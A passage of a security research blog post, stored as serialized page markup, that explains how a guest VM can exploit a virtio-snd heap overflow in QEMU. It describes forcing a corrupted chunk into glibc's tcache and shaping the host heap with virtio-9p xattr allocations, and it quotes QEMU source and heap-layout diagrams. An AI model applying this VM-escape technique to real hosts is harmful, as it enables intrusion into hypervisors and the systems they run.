NULL",{"type":21,"tag":85,"props":128234,"children":128235},{"style":114},[128236],{"type":26,"value":20139},{"type":21,"tag":85,"props":128238,"children":128239},{"class":87,"line":3255},[128240],{"type":21,"tag":85,"props":128241,"children":128242},{"style":114},[128243],{"type":26,"value":127615},{"type":21,"tag":22,"props":128245,"children":128246},{},[128247,128249,128254],{"type":26,"value":128248},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":21,"tag":66,"props":128250,"children":128252},{"className":128251},[],[128253],{"type":26,"value":124722},{"type":26,"value":128255},", because on the latest 2.43 glibc they are non-existent.",{"type":21,"tag":19218,"props":128257,"children":128258},{},[],{"type":21,"tag":22,"props":128260,"children":128261},{},[128262,128264,128269,128271,128277,128279,128284,128286,128292],{"type":26,"value":128263},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":21,"tag":66,"props":128265,"children":128267},{"className":128266},[],[128268],{"type":26,"value":124722},{"type":26,"value":128270}," field was initially ",{"type":21,"tag":66,"props":128272,"children":128274},{"className":128273},[],[128275],{"type":26,"value":128276},"0x200",{"type":26,"value":128278},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":21,"tag":66,"props":128280,"children":128282},{"className":128281},[],[128283],{"type":26,"value":126899},{"type":26,"value":128285},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":21,"tag":66,"props":128287,"children":128289},{"className":128288},[],[128290],{"type":26,"value":128291},"[0x210, 0x2f0]",{"type":26,"value":128293},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":21,"tag":22,"props":128295,"children":128296},{},[128297],{"type":26,"value":128298},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":21,"tag":10022,"props":128300,"children":128302},{"id":128301},"heap-spraying",[128303],{"type":26,"value":128304},"Heap Spraying",{"type":21,"tag":22,"props":128306,"children":128307},{},[128308,128310,128315],{"type":26,"value":128309},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":21,"tag":66,"props":128311,"children":128313},{"className":128312},[],[128314],{"type":26,"value":128276},{"type":26,"value":128316},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":21,"tag":22,"props":128318,"children":128319},{},[128320,128322,128327],{"type":26,"value":128321},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":21,"tag":66,"props":128323,"children":128325},{"className":128324},[],[128326],{"type":26,"value":124917},{"type":26,"value":128328}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":21,"tag":22,"props":128330,"children":128331},{},[128332],{"type":26,"value":128333},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":21,"tag":19318,"props":128335,"children":128337},{"id":128336},"virtio-9p",[128338],{"type":26,"value":128336},{"type":21,"tag":22,"props":128340,"children":128341},{},[128342,128347],{"type":21,"tag":66,"props":128343,"children":128345},{"className":128344},[],[128346],{"type":26,"value":128336},{"type":26,"value":128348}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":21,"tag":22,"props":128350,"children":128351},{},[128352,128354,128360,128362,128368,128369,128375,128377,128382],{"type":26,"value":128353},"Through a ",{"type":21,"tag":66,"props":128355,"children":128357},{"className":128356},[],[128358],{"type":26,"value":128359},"P9_TXATTRCREATE",{"type":26,"value":128361}," request, we can allocate host-side buffers for both the ",{"type":21,"tag":66,"props":128363,"children":128365},{"className":128364},[],[128366],{"type":26,"value":128367},".name",{"type":26,"value":11408},{"type":21,"tag":66,"props":128370,"children":128372},{"className":128371},[],[128373],{"type":26,"value":128374},".value",{"type":26,"value":128376}," fields, with the size of ",{"type":21,"tag":66,"props":128378,"children":128380},{"className":128379},[],[128381],{"type":26,"value":128374},{"type":26,"value":128383}," being directly controlled by the guest.",{"type":21,"tag":75,"props":128385,"children":128387},{"code":128386,"language":3918,"meta":7,"className":16935,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[128388],{"type":21,"tag":66,"props":128389,"children":128390},{"__ignoreMap":7},[128391,128433,128440,128464,128477,128488,128513,128521,128546,128563,128579,128605,128612,128633,128699,128723,128736,128743,128750,128757,128764,128784,128805,128816,128823,128830,128837,128844,128893,128949,128994],{"type":21,"tag":85,"props":128392,"children":128393},{"class":87,"line":88},[128394,128398,128402,128407,128412,128416,128420,128424,128429],{"type":21,"tag":85,"props":128395,"children":128396},{"style":102},[128397],{"type":26,"value":51500},{"type":21,"tag":85,"props":128399,"children":128400},{"style":102},[128401],{"type":26,"value":51505},{"type":21,"tag":85,"props":128403,"children":128404},{"style":114},[128405],{"type":26,"value":128406}," coroutine_fn ",{"type":21,"tag":85,"props":128408,"children":128409},{"style":1021},[128410],{"type":26,"value":128411},"v9fs_xattrcreate",{"type":21,"tag":85,"props":128413,"children":128414},{"style":114},[128415],{"type":26,"value":1439},{"type":21,"tag":85,"props":128417,"children":128418},{"style":102},[128419],{"type":26,"value":52083},{"type":21,"tag":85,"props":128421,"children":128422},{"style":169},[128423],{"type":26,"value":10231},{"type":21,"tag":85,"props":128425,"children":128426},{"style":120},[128427],{"type":26,"value":128428},"opaque",{"type":21,"tag":85,"props":128430,"children":128431},{"style":114},[128432],{"type":26,"value":2485},{"type":21,"tag":85,"props":128434,"children":128435},{"class":87,"line":98},[128436],{"type":21,"tag":85,"props":128437,"children":128438},{"style":114},[128439],{"type":26,"value":11296},{"type":21,"tag":85,"props":128441,"children":128442},{"class":87,"line":151},[128443,128447,128452,128456,128460],{"type":21,"tag":85,"props":128444,"children":128445},{"style":102},[128446],{"type":26,"value":19503},{"type":21,"tag":85,"props":128448,"children":128449},{"style":114},[128450],{"type":26,"value":128451}," flags, rflags ",{"type":21,"tag":85,"props":128453,"children":128454},{"style":169},[128455],{"type":26,"value":741},{"type":21,"tag":85,"props":128457,"children":128458},{"style":2285},[128459],{"type":26,"value":2830},{"type":21,"tag":85,"props":128461,"children":128462},{"style":114},[128463],{"type":26,"value":2535},{"type":21,"tag":85,"props":128465,"children":128466},{"class":87,"line":160},[128467,128472],{"type":21,"tag":85,"props":128468,"children":128469},{"style":102},[128470],{"type":26,"value":128471},"    int32_t",{"type":21,"tag":85,"props":128473,"children":128474},{"style":114},[128475],{"type":26,"value":128476}," fid;\n",{"type":21,"tag":85,"props":128478,"children":128479},{"class":87,"line":185},[128480,128484],{"type":21,"tag":85,"props":128481,"children":128482},{"style":102},[128483],{"type":26,"value":56069},{"type":21,"tag":85,"props":128485,"children":128486},{"style":114},[128487],{"type":26,"value":125064},{"type":21,"tag":85,"props":128489,"children":128490},{"class":87,"line":501},[128491,128496,128501,128505,128509],{"type":21,"tag":85,"props":128492,"children":128493},{"style":102},[128494],{"type":26,"value":128495},"    ssize_t",{"type":21,"tag":85,"props":128497,"children":128498},{"style":114},[128499],{"type":26,"value":128500}," err ",{"type":21,"tag":85,"props":128502,"children":128503},{"style":169},[128504],{"type":26,"value":741},{"type":21,"tag":85,"props":128506,"children":128507},{"style":2285},[128508],{"type":26,"value":2830},{"type":21,"tag":85,"props":128510,"children":128511},{"style":114},[128512],{"type":26,"value":2535},{"type":21,"tag":85,"props":128514,"children":128515},{"class":87,"line":697},[128516],{"type":21,"tag":85,"props":128517,"children":128518},{"style":114},[128519],{"type":26,"value":128520},"    V9fsString name;\n",{"type":21,"tag":85,"props":128522,"children":128523},{"class":87,"line":706},[128524,128528,128533,128537,128542],{"type":21,"tag":85,"props":128525,"children":128526},{"style":102},[128527],{"type":26,"value":16985},{"type":21,"tag":85,"props":128529,"children":128530},{"style":114},[128531],{"type":26,"value":128532}," offset ",{"type":21,"tag":85,"props":128534,"children":128535},{"style":169},[128536],{"type":26,"value":741},{"type":21,"tag":85,"props":128538,"children":128539},{"style":2285},[128540],{"type":26,"value":128541}," 7",{"type":21,"tag":85,"props":128543,"children":128544},{"style":114},[128545],{"type":26,"value":2535},{"type":21,"tag":85,"props":128547,"children":128548},{"class":87,"line":1100},[128549,128554,128558],{"type":21,"tag":85,"props":128550,"children":128551},{"style":114},[128552],{"type":26,"value":128553},"    V9fsFidState ",{"type":21,"tag":85,"props":128555,"children":128556},{"style":169},[128557],{"type":26,"value":3052},{"type":21,"tag":85,"props":128559,"children":128560},{"style":114},[128561],{"type":26,"value":128562},"file_fidp;\n",{"type":21,"tag":85,"props":128564,"children":128565},{"class":87,"line":1339},[128566,128570,128574],{"type":21,"tag":85,"props":128567,"children":128568},{"style":114},[128569],{"type":26,"value":128553},{"type":21,"tag":85,"props":128571,"children":128572},{"style":169},[128573],{"type":26,"value":3052},{"type":21,"tag":85,"props":128575,"children":128576},{"style":114},[128577],{"type":26,"value":128578},"xattr_fidp;\n",{"type":21,"tag":85,"props":128580,"children":128581},{"class":87,"line":1348},[128582,128587,128591,128596,128600],{"type":21,"tag":85,"props":128583,"children":128584},{"style":114},[128585],{"type":26,"value":128586},"    V9fsPDU ",{"type":21,"tag":85,"props":128588,"children":128589},{"style":169},[128590],{"type":26,"value":3052},{"type":21,"tag":85,"props":128592,"children":128593},{"style":114},[128594],{"type":26,"value":128595},"pdu ",{"type":21,"tag":85,"props":128597,"children":128598},{"style":169},[128599],{"type":26,"value":741},{"type":21,"tag":85,"props":128601,"children":128602},{"style":114},[128603],{"type":26,"value":128604}," opaque;\n",{"type":21,"tag":85,"props":128606,"children":128607},{"class":87,"line":1386},[128608],{"type":21,"tag":85,"props":128609,"children":128610},{"emptyLinePlaceholder":16},[128611],{"type":26,"value":703},{"type":21,"tag":85,"props":128613,"children":128614},{"class":87,"line":1394},[128615,128620,128624,128628],{"type":21,"tag":85,"props":128616,"children":128617},{"style":1021},[128618],{"type":26,"value":128619},"    v9fs_string_init",{"type":21,"tag":85,"props":128621,"children":128622},{"style":114},[128623],{"type":26,"value":1439},{"type":21,"tag":85,"props":128625,"children":128626},{"style":169},[128627],{"type":26,"value":2238},{"type":21,"tag":85,"props":128629,"children":128630},{"style":114},[128631],{"type":26,"value":128632},"name);\n",{"type":21,"tag":85,"props":128634,"children":128635},{"class":87,"line":1402},[128636,128641,128645,128650,128655,128660,128664,128668,128673,128677,128682,128686,128690,128694],{"type":21,"tag":85,"props":128637,"children":128638},{"style":114},[128639],{"type":26,"value":128640},"    err ",{"type":21,"tag":85,"props":128642,"children":128643},{"style":169},[128644],{"type":26,"value":741},{"type":21,"tag":85,"props":128646,"children":128647},{"style":1021},[128648],{"type":26,"value":128649}," pdu_unmarshal",{"type":21,"tag":85,"props":128651,"children":128652},{"style":114},[128653],{"type":26,"value":128654},"(pdu, offset, ",{"type":21,"tag":85,"props":128656,"children":128657},{"style":5026},[128658],{"type":26,"value":128659},"\"dsqd\"",{"type":21,"tag":85,"props":128661,"children":128662},{"style":114},[128663],{"type":26,"value":256},{"type":21,"tag":85,"props":128665,"children":128666},{"style":169},[128667],{"type":26,"value":2238},{"type":21,"tag":85,"props":128669,"children":128670},{"style":114},[128671],{"type":26,"value":128672},"fid, ",{"type":21,"tag":85,"props":128674,"children":128675},{"style":169},[128676],{"type":26,"value":2238},{"type":21,"tag":85,"props":128678,"children":128679},{"style":114},[128680],{"type":26,"value":128681},"name, ",{"type":21,"tag":85,"props":128683,"children":128684},{"style":169},[128685],{"type":26,"value":2238},{"type":21,"tag":85,"props":128687,"children":128688},{"style":114},[128689],{"type":26,"value":127432},{"type":21,"tag":85,"props":128691,"children":128692},{"style":169},[128693],{"type":26,"value":2238},{"type":21,"tag":85,"props":128695,"children":128696},{"style":114},[128697],{"type":26,"value":128698},"flags);\n",{"type":21,"tag":85,"props":128700,"children":128701},{"class":87,"line":3145},[128702,128706,128711,128715,128719],{"type":21,"tag":85,"props":128703,"children":128704},{"style":2885},[128705],{"type":26,"value":12696},{"type":21,"tag":85,"props":128707,"children":128708},{"style":114},[128709],{"type":26,"value":128710}," (err ",{"type":21,"tag":85,"props":128712,"children":128713},{"style":169},[128714],{"type":26,"value":117},{"type":21,"tag":85,"props":128716,"children":128717},{"style":2285},[128718],{"type":26,"value":2830},{"type":21,"tag":85,"props":128720,"children":128721},{"style":114},[128722],{"type":26,"value":15222},{"type":21,"tag":85,"props":128724,"children":128725},{"class":87,"line":3246},[128726,128731],{"type":21,"tag":85,"props":128727,"children":128728},{"style":2885},[128729],{"type":26,"value":128730},"        goto",{"type":21,"tag":85,"props":128732,"children":128733},{"style":114},[128734],{"type":26,"value":128735}," out_nofid;\n",{"type":21,"tag":85,"props":128737,"children":128738},{"class":87,"line":3255},[128739],{"type":21,"tag":85,"props":128740,"children":128741},{"style":114},[128742],{"type":26,"value":507},{"type":21,"tag":85,"props":128744,"children":128745},{"class":87,"line":3286},[128746],{"type":21,"tag":85,"props":128747,"children":128748},{"emptyLinePlaceholder":16},[128749],{"type":26,"value":703},{"type":21,"tag":85,"props":128751,"children":128752},{"class":87,"line":3295},[128753],{"type":21,"tag":85,"props":128754,"children":128755},{"style":114},[128756],{"type":26,"value":105263},{"type":21,"tag":85,"props":128758,"children":128759},{"class":87,"line":3308},[128760],{"type":21,"tag":85,"props":128761,"children":128762},{"emptyLinePlaceholder":16},[128763],{"type":26,"value":703},{"type":21,"tag":85,"props":128765,"children":128766},{"class":87,"line":3333},[128767,128771,128775,128779],{"type":21,"tag":85,"props":128768,"children":128769},{"style":2885},[128770],{"type":26,"value":12696},{"type":21,"tag":85,"props":128772,"children":128773},{"style":114},[128774],{"type":26,"value":127533},{"type":21,"tag":85,"props":128776,"children":128777},{"style":169},[128778],{"type":26,"value":10877},{"type":21,"tag":85,"props":128780,"children":128781},{"style":114},[128782],{"type":26,"value":128783}," P9_XATTR_SIZE_MAX) {\n",{"type":21,"tag":85,"props":128785,"children":128786},{"class":87,"line":3369},[128787,128792,128796,128800],{"type":21,"tag":85,"props":128788,"children":128789},{"style":114},[128790],{"type":26,"value":128791},"        err ",{"type":21,"tag":85,"props":128793,"children":128794},{"style":169},[128795],{"type":26,"value":741},{"type":21,"tag":85,"props":128797,"children":128798},{"style":169},[128799],{"type":26,"value":51711},{"type":21,"tag":85,"props":128801,"children":128802},{"style":114},[128803],{"type":26,"value":128804},"E2BIG;\n",{"type":21,"tag":85,"props":128806,"children":128807},{"class":87,"line":3377},[128808,128812],{"type":21,"tag":85,"props":128809,"children":128810},{"style":2885},[128811],{"type":26,"value":128730},{"type":21,"tag":85,"props":128813,"children":128814},{"style":114},[128815],{"type":26,"value":128735},{"type":21,"tag":85,"props":128817,"children":128818},{"class":87,"line":3386},[128819],{"type":21,"tag":85,"props":128820,"children":128821},{"style":114},[128822],{"type":26,"value":507},{"type":21,"tag":85,"props":128824,"children":128825},{"class":87,"line":3394},[128826],{"type":21,"tag":85,"props":128827,"children":128828},{"emptyLinePlaceholder":16},[128829],{"type":26,"value":703},{"type":21,"tag":85,"props":128831,"children":128832},{"class":87,"line":3410},[128833],{"type":21,"tag":85,"props":128834,"children":128835},{"style":114},[128836],{"type":26,"value":105263},{"type":21,"tag":85,"props":128838,"children":128839},{"class":87,"line":3427},[128840],{"type":21,"tag":85,"props":128841,"children":128842},{"emptyLinePlaceholder":16},[128843],{"type":26,"value":703},{"type":21,"tag":85,"props":128845,"children":128846},{"class":87,"line":3445},[128847,128851,128855,128859,128864,128868,128872,128876,128881,128885,128889],{"type":21,"tag":85,"props":128848,"children":128849},{"style":1021},[128850],{"type":26,"value":128619},{"type":21,"tag":85,"props":128852,"children":128853},{"style":114},[128854],{"type":26,"value":1439},{"type":21,"tag":85,"props":128856,"children":128857},{"style":169},[128858],{"type":26,"value":2238},{"type":21,"tag":85,"props":128860,"children":128861},{"style":120},[128862],{"type":26,"value":128863},"xattr_fidp",{"type":21,"tag":85,"props":128865,"children":128866},{"style":114},[128867],{"type":26,"value":14175},{"type":21,"tag":85,"props":128869,"children":128870},{"style":120},[128871],{"type":26,"value":37430},{"type":21,"tag":85,"props":128873,"children":128874},{"style":114},[128875],{"type":26,"value":73},{"type":21,"tag":85,"props":128877,"children":128878},{"style":120},[128879],{"type":26,"value":128880},"xattr",{"type":21,"tag":85,"props":128882,"children":128883},{"style":114},[128884],{"type":26,"value":73},{"type":21,"tag":85,"props":128886,"children":128887},{"style":120},[128888],{"type":26,"value":48953},{"type":21,"tag":85,"props":128890,"children":128891},{"style":114},[128892],{"type":26,"value":777},{"type":21,"tag":85,"props":128894,"children":128895},{"class":87,"line":3490},[128896,128901,128905,128909,128913,128917,128921,128925,128929,128933,128937,128941,128945],{"type":21,"tag":85,"props":128897,"children":128898},{"style":1021},[128899],{"type":26,"value":128900},"    v9fs_string_copy",{"type":21,"tag":85,"props":128902,"children":128903},{"style":114},[128904],{"type":26,"value":1439},{"type":21,"tag":85,"props":128906,"children":128907},{"style":169},[128908],{"type":26,"value":2238},{"type":21,"tag":85,"props":128910,"children":128911},{"style":120},[128912],{"type":26,"value":128863},{"type":21,"tag":85,"props":128914,"children":128915},{"style":114},[128916],{"type":26,"value":14175},{"type":21,"tag":85,"props":128918,"children":128919},{"style":120},[128920],{"type":26,"value":37430},{"type":21,"tag":85,"props":128922,"children":128923},{"style":114},[128924],{"type":26,"value":73},{"type":21,"tag":85,"props":128926,"children":128927},{"style":120},[128928],{"type":26,"value":128880},{"type":21,"tag":85,"props":128930,"children":128931},{"style":114},[128932],{"type":26,"value":73},{"type":21,"tag":85,"props":128934,"children":128935},{"style":120},[128936],{"type":26,"value":48953},{"type":21,"tag":85,"props":128938,"children":128939},{"style":114},[128940],{"type":26,"value":256},{"type":21,"tag":85,"props":128942,"children":128943},{"style":169},[128944],{"type":26,"value":2238},{"type":21,"tag":85,"props":128946,"children":128947},{"style":114},[128948],{"type":26,"value":128632},{"type":21,"tag":85,"props":128950,"children":128951},{"class":87,"line":3596},[128952,128957,128961,128965,128969,128973,128977,128981,128985,128989],{"type":21,"tag":85,"props":128953,"children":128954},{"style":120},[128955],{"type":26,"value":128956},"    xattr_fidp",{"type":21,"tag":85,"props":128958,"children":128959},{"style":114},[128960],{"type":26,"value":14175},{"type":21,"tag":85,"props":128962,"children":128963},{"style":120},[128964],{"type":26,"value":37430},{"type":21,"tag":85,"props":128966,"children":128967},{"style":114},[128968],{"type":26,"value":73},{"type":21,"tag":85,"props":128970,"children":128971},{"style":120},[128972],{"type":26,"value":128880},{"type":21,"tag":85,"props":128974,"children":128975},{"style":114},[128976],{"type":26,"value":73},{"type":21,"tag":85,"props":128978,"children":128979},{"style":120},[128980],{"type":26,"value":39600},{"type":21,"tag":85,"props":128982,"children":128983},{"style":169},[128984],{"type":26,"value":1941},{"type":21,"tag":85,"props":128986,"children":128987},{"style":1021},[128988],{"type":26,"value":124635},{"type":21,"tag":85,"props":128990,"children":128991},{"style":114},[128992],{"type":26,"value":128993},"(size);\n",{"type":21,"tag":85,"props":128995,"children":128996},{"class":87,"line":23938},[128997],{"type":21,"tag":85,"props":128998,"children":128999},{"style":114},[129000],{"type":26,"value":2671},{"type":21,"tag":22,"props":129002,"children":129003},{},[129004,129006,129011,129013,129018,129019,129024,129026,129031],{"type":26,"value":129005},"Because the ",{"type":21,"tag":66,"props":129007,"children":129009},{"className":129008},[],[129010],{"type":26,"value":128367},{"type":26,"value":129012}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":21,"tag":66,"props":129014,"children":129016},{"className":129015},[],[129017],{"type":26,"value":128367},{"type":26,"value":11408},{"type":21,"tag":66,"props":129020,"children":129022},{"className":129021},[],[129023],{"type":26,"value":128374},{"type":26,"value":129025},", not just the ",{"type":21,"tag":66,"props":129027,"children":129029},{"className":129028},[],[129030],{"type":26,"value":128374},{"type":26,"value":129032}," we actually care about. But we will get around this later in the blog post.",{"type":21,"tag":22,"props":129034,"children":129035},{},[129036,129037,129042],{"type":26,"value":17034},{"type":21,"tag":66,"props":129038,"children":129040},{"className":129039},[],[129041],{"type":26,"value":128374},{"type":26,"value":129043}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":21,"tag":22,"props":129045,"children":129046},{},[129047,129049,129054,129056,129062,129064,129070,129072,129078],{"type":26,"value":129048},"Once allocated, we can write arbitrary bytes into the ",{"type":21,"tag":66,"props":129050,"children":129052},{"className":129051},[],[129053],{"type":26,"value":128374},{"type":26,"value":129055}," buffer through a ",{"type":21,"tag":66,"props":129057,"children":129059},{"className":129058},[],[129060],{"type":26,"value":129061},"P9_TWRITE",{"type":26,"value":129063}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":21,"tag":66,"props":129065,"children":129067},{"className":129066},[],[129068],{"type":26,"value":129069},"P9_TREAD",{"type":26,"value":129071},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":21,"tag":66,"props":129073,"children":129075},{"className":129074},[],[129076],{"type":26,"value":129077},"P9_TCLUNK",{"type":26,"value":129079}," request on that same FID.",{"type":21,"tag":22,"props":129081,"children":129082},{},[129083,129085,129091],{"type":26,"value":129084},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":21,"tag":66,"props":129086,"children":129088},{"className":129087},[],[129089],{"type":26,"value":129090},"65536",{"type":26,"value":129092}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":21,"tag":10022,"props":129094,"children":129096},{"id":129095},"setting-the-heap-layout",[129097],{"type":26,"value":129098},"Setting the Heap Layout",{"type":21,"tag":22,"props":129100,"children":129101},{},[129102,129104,129109],{"type":26,"value":129103},"Ideally, we want a contiguous heap region consisting only of ",{"type":21,"tag":66,"props":129105,"children":129107},{"className":129106},[],[129108],{"type":26,"value":128374},{"type":26,"value":129110}," allocations, like this:",{"type":21,"tag":75,"props":129112,"children":129114},{"code":129113},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[129115],{"type":21,"tag":66,"props":129116,"children":129117},{"__ignoreMap":7},[129118],{"type":26,"value":129113},{"type":21,"tag":22,"props":129120,"children":129121},{},[129122,129124,129129,129131,129136,129138,129143],{"type":26,"value":129123},"This lets us later create holes by freeing every other ",{"type":21,"tag":66,"props":129125,"children":129127},{"className":129126},[],[129128],{"type":26,"value":128374},{"type":26,"value":129130}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":21,"tag":66,"props":129132,"children":129134},{"className":129133},[],[129135],{"type":26,"value":124722},{"type":26,"value":129137}," field of the next live ",{"type":21,"tag":66,"props":129139,"children":129141},{"className":129140},[],[129142],{"type":26,"value":128374},{"type":26,"value":129144}," chunk.",{"type":21,"tag":22,"props":129146,"children":129147},{},[129148],{"type":26,"value":129149},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":21,"tag":22,"props":129151,"children":129152},{},[129153,129155,129160,129162,129167,129169,129174,129176,129181],{"type":26,"value":129154},"As mentioned earlier, ",{"type":21,"tag":66,"props":129156,"children":129158},{"className":129157},[],[129159],{"type":26,"value":128411},{"type":26,"value":129161}," always allocates two chunks: one for ",{"type":21,"tag":66,"props":129163,"children":129165},{"className":129164},[],[129166],{"type":26,"value":128367},{"type":26,"value":129168}," and one for ",{"type":21,"tag":66,"props":129170,"children":129172},{"className":129171},[],[129173],{"type":26,"value":128374},{"type":26,"value":129175},". We want to avoid having ",{"type":21,"tag":66,"props":129177,"children":129179},{"className":129178},[],[129180],{"type":26,"value":128367},{"type":26,"value":129182}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":21,"tag":841,"props":129184,"children":129185},{},[129186,129198],{"type":21,"tag":845,"props":129187,"children":129188},{},[129189,129191,129196],{"type":26,"value":129190},"Make ",{"type":21,"tag":66,"props":129192,"children":129194},{"className":129193},[],[129195],{"type":26,"value":128367},{"type":26,"value":129197}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":21,"tag":845,"props":129199,"children":129200},{},[129201,129203,129208,129210,129215,129217,129222],{"type":26,"value":129202},"Prepare a separate region whose sole purpose is to absorb ",{"type":21,"tag":66,"props":129204,"children":129206},{"className":129205},[],[129207],{"type":26,"value":128367},{"type":26,"value":129209},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":21,"tag":66,"props":129211,"children":129213},{"className":129212},[],[129214],{"type":26,"value":128367},{"type":26,"value":129216}," allocations from that separate freelist instead of placing them next to our ",{"type":21,"tag":66,"props":129218,"children":129220},{"className":129219},[],[129221],{"type":26,"value":128374},{"type":26,"value":129223}," chunks.",{"type":21,"tag":19318,"props":129225,"children":129227},{"id":129226},"separating-name-allocations",[129228],{"type":26,"value":129229},"Separating .name allocations",{"type":21,"tag":22,"props":129231,"children":129232},{},[129233,129235,129240,129242,129247],{"type":26,"value":129234},"We chose the second option. However, it is not as simple as issuing ",{"type":21,"tag":66,"props":129236,"children":129238},{"className":129237},[],[129239],{"type":26,"value":128411},{"type":26,"value":129241}," for N ",{"type":21,"tag":66,"props":129243,"children":129245},{"className":129244},[],[129246],{"type":26,"value":128367},{"type":26,"value":129248},"-sized allocations and then freeing them.",{"type":21,"tag":22,"props":129250,"children":129251},{},[129252,129254,129259,129260,129265,129266,129271,129273,129278,129280,129285],{"type":26,"value":129253},"At this point, we already know that ",{"type":21,"tag":66,"props":129255,"children":129257},{"className":129256},[],[129258],{"type":26,"value":128411},{"type":26,"value":129161},{"type":21,"tag":66,"props":129261,"children":129263},{"className":129262},[],[129264],{"type":26,"value":128367},{"type":26,"value":129168},{"type":21,"tag":66,"props":129267,"children":129269},{"className":129268},[],[129270],{"type":26,"value":128374},{"type":26,"value":129272},". If we simply call it with ",{"type":21,"tag":66,"props":129274,"children":129276},{"className":129275},[],[129277],{"type":26,"value":128374},{"type":26,"value":129279}," sized the same as ",{"type":21,"tag":66,"props":129281,"children":129283},{"className":129282},[],[129284],{"type":26,"value":128367},{"type":26,"value":129286},", we get a layout like this:",{"type":21,"tag":75,"props":129288,"children":129290},{"code":129289},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[129291],{"type":21,"tag":66,"props":129292,"children":129293},{"__ignoreMap":7},[129294],{"type":26,"value":129289},{"type":21,"tag":22,"props":129296,"children":129297},{},[129298,129300,129305,129307,129313,129315,129321,129323,129328,129330,129335,129337,129342],{"type":26,"value":129299},"With that heap state, issuing a ",{"type":21,"tag":66,"props":129301,"children":129303},{"className":129302},[],[129304],{"type":26,"value":129077},{"type":26,"value":129306}," request would first free ",{"type":21,"tag":66,"props":129308,"children":129310},{"className":129309},[],[129311],{"type":26,"value":129312},".name A",{"type":26,"value":129314}," and then ",{"type":21,"tag":66,"props":129316,"children":129318},{"className":129317},[],[129319],{"type":26,"value":129320},".value A",{"type":26,"value":129322},". When ",{"type":21,"tag":66,"props":129324,"children":129326},{"className":129325},[],[129327],{"type":26,"value":129320},{"type":26,"value":129329}," is freed, the allocator sees that the preceding chunk ",{"type":21,"tag":66,"props":129331,"children":129333},{"className":129332},[],[129334],{"type":26,"value":129312},{"type":26,"value":129336}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":21,"tag":66,"props":129338,"children":129340},{"className":129339},[],[129341],{"type":26,"value":128367},{"type":26,"value":129343},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":21,"tag":22,"props":129345,"children":129346},{},[129347],{"type":26,"value":129348},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":21,"tag":22,"props":129350,"children":129351},{},[129352,129354,129359,129361,129366,129368,129373,129375,129381,129383,129388,129390,129396],{"type":26,"value":129353},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":21,"tag":66,"props":129355,"children":129357},{"className":129356},[],[129358],{"type":26,"value":128367},{"type":26,"value":129360}," allocation remains fixed at size 